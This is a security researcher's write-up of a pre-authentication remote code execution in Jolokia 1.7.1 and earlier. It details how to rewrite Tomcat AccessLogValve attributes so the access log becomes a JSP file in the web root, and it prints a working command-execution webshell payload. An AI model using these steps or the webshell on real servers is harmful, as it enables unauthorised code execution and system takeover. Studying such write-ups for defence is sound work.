C11011: Jolokia <= 1.7.1, Remote Code Execution (pre-auth)
Today I’m gonna show you how to exploit a Remote Code Execution without authentication in Jolokia version 1.7.1 and earlier.
What is Jolokia?
Jolokia is a JMX-HTTP bridge giving an alternative to JSR-160 connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies. - https://jolokia.org/index.html
How to identify Jolokia?
Jolokia can be identified if the server’s response is something like this:
Over the internet it can be found via the routes:
- /jolokia
- /actuator/jolokia
But these are only examples.
Once the presence of jolokia is confirmed, as an attacker, it is important to list all the actions that can be performed. To do this, simply add /list (eg. http://127.0.0.1:8080/jolokia/list) to the path identified as jolokia.
Within the server response which is in JSON format if you are able to identify
the string host=localhost,name=AccessLogValve,type=Valve
you might have won.
This next section (What is the AccessLogValve?) is just an extract of https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/catalina/valves/AccessLogValve.html from Craig R. McClanahan, Jason Brittain, Remy Maucherat, Takayuki Kaneko and Peter Rossbach. You can go directly to the exploit part if you have already read it, otherwise I invite you to read it because it allows you to better understand what is the AccessLogValve and therefore my exploit.
What is the AccessLogValve?
The AccessLogValve is an implementation of the Valve interface that generates a web server access log with the detailed line contents matching a configurable pattern.
The syntax of the available patterns is similar to that supported by the Apache HTTP Server mod_log_config module. As an additional feature, automatic rollover of log files when the date changes is also supported.
Patterns
Patterns for the logged message may include constant text or any of the following replacement strings, for which the corresponding information from the specified Response is substituted:
- %a - Remote IP address
- %A - Local IP address
- %b - Bytes sent, excluding HTTP headers, or ‘-‘ if no bytes were sent
- %B - Bytes sent, excluding HTTP headers
- %h - Remote host name (or IP address if enableLookups for the connector is false)
- %H - Request protocol
- %l - Remote logical username from identd (always returns ‘-‘)
- %m - Request method
- %p - Local port
- %q - Query string (prepended with a ‘?’ if it exists, otherwise an empty string
- %r - First line of the request
- %s - HTTP status code of the response
- %S - User session ID
- %t - Date and time, in Common Log Format format
- %u - Remote user that was authenticated
- %U - Requested URL path
- %v - Local server name
- %D - Time taken to process the request, in millis
- %T - Time taken to process the request, in seconds
- %I - current Request thread name (can compare later with stacktraces)
In addition, the caller can specify one of the following aliases for commonly utilized patterns:
- common - %h %l %u %t “%r” %s %b
- combined - %h %l %u %t “%r” %s %b “%{Referer}i” “%{User-Agent}i”
There is also support to write information from the cookie, incoming header, the Session or something else in the ServletRequest. It is modeled after the Apache HTTP Server log configuration syntax:
- %{xxx}i for incoming headers
- %{xxx}o for outgoing response headers
- %{xxx}c for a specific cookie
- %{xxx}r xxx is an attribute in the ServletRequest
- %{xxx}s xxx is an attribute in the HttpSession
- %{xxx}t xxx is an enhanced SimpleDateFormat pattern (see Configuration Reference document for details on supported time patterns)
Log rotation can be on or off. This is dictated by the rotatable property.
For UNIX users, another field called checkExists is also available. If set to true, the log file’s existence will be checked before each logging. This way an external log rotator can move the file somewhere and Tomcat will start with a new file.
Let’s take advantage of the AccessLogValve
In the screenshot below we can see the attributes that we can read and write.
The general idea here is to move the log file into the root of the Web server, write a Webshell into the log file and then run arbitrary system commands. To do this we will modify the attributes of the AccessLogValve one by one using GET requests.
Exploit
The functional exploit was obtained after performing several tests, because the order in which we rewrite the attributes of AccessLogValve has an impact on the reliability of the exploit. The exploit is available at:
Explanations
By default the route of the access log file is logs/localhost_access_log.<DATE>.txt (eg. logs/localhost_access_log.2021-09-30.txt) regarding the tomcat installation directory.
The exploitation takes place in the following way:
Poisoning valve’s configuration
First, we rewrite the attributes’s values like this:
pattern
to a space.- In order to do not log further requests (this one include).
checkExists
totrue
.- To force the existence control of the log file. This is necessary to be sure to write our Webshell correctly.
fileDateFormat
to_XXXX
whereX
is a number between 0 and 9.- Setting this value will allow us to find our Webshell once it is created. From previous tests it appears that setting this value as empty makes the exploit fail. Indeed, at each execution of the exploit we want to make sure that a new log file is created (Webshell). Moreover it also increases the entropy of our filename at generation.
prefix
toXXXX
whereX
is a number between 0 and 9.- At this stage, the route of our log file will be in the following format: logs/XXXX_XXXX.txt.
suffix
to.jsp
.- We choose the JSP extension so that the log file that will be created can be executed by the server once requested.
directory
towebapps/ROOT
.- In order for the log file (Webshell) to be placed at the root of the web server and therefore accessible to an attacker. At this stage, the route of our log file will be in the following format: webapps/ROOT/XXXX_XXXX.jsp.
buffered
tofalse
.- So that the requests are not stored in memory (in a buffer) before being written, but are rather written in the log file as soon as they are processed by the server.
asyncSupported
tofalse
.- This one, I have no idea why I set it to
false
but it works like that so let’s not change anything :)
- This one, I have no idea why I set it to
After that we have to wait a few seconds for the modifications to take effect, and then, we go to the second stage of the exploit, writting in the log file the content of our Webshell.
Writting a Webshell
Now we have an empty log file which has for route:
- webapps/ROOT/XXXX_XXXX.jsp
We send a request to replace the old pattern (a space) with the following one:
IVOIRE<%{pourcent}c= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %{pourcent}c>IVOIRE
Moreover the request sent also contains a Cookie pourcent
with the value %
.
This means that once the pattern modification request is received and processed
by the server our log file will contain:
IVOIRE<%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %>IVOIRE
Indeed, I noticed that directly placing the character %
in the pattern
modified it once in the log file by ???
, and placing it in the URL caused it
to be replaced by %25
, so the only solution is to place it in a Cookie. I had
the idea to put it in a Cookie while reading the following documentation (which
can also be read above within the paragraph Pattern):
There is also support to write information from the cookie, incoming header, the Session or something else in the ServletRequest. It is modeled after the Apache HTTP Server log configuration syntax:
- %{xxx}i for incoming headers
- %{xxx}o for outgoing response headers
- %{xxx}c for a specific cookie
- %{xxx}r xxx is an attribute in the ServletRequest
- %{xxx}s xxx is an attribute in the HttpSession
- %{xxx}t xxx is an enhanced SimpleDateFormat pattern (see Configuration >Reference document for details on supported time patterns)
UPDATE 2021-09-30:
The pattern has been updated and replaced by:
IVOIRE<%{%}t= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("RESULT").next() %{%}t>IVOIRE
This makes it possible to get rid of the Cookie using an enhanced SimpleDateFormat pattern (%{%}t
) and thus makes the exploit usable through SSRF vulnerabilities.
After the Webshell has been written we change the pattern back to a space in order not to log the next requests which allows us to keep our file intact.
During this step we compromised the log file which allowed us to write our Webshell. Now that the Webshell is written inside the log file, we just have to restore the basic configuration and access the Webshell to execute system commands.
UPDATE 2021-11-02:
A friend of mine was interested in Jolokia TheLaluka (that’s why I also looked into it) and discovered other ways to get code execution, so I invite you to read his article:
And in order to participate even more to his JET project (Jolokia Exploitation Toolkit) I added a new POC allowing to get the credentials of a Tomcat account:
- /tools/e278545c831f72f8772f5032a50489929d29b894d85f41517039f30e04716687/information_leakage_1.7.1.py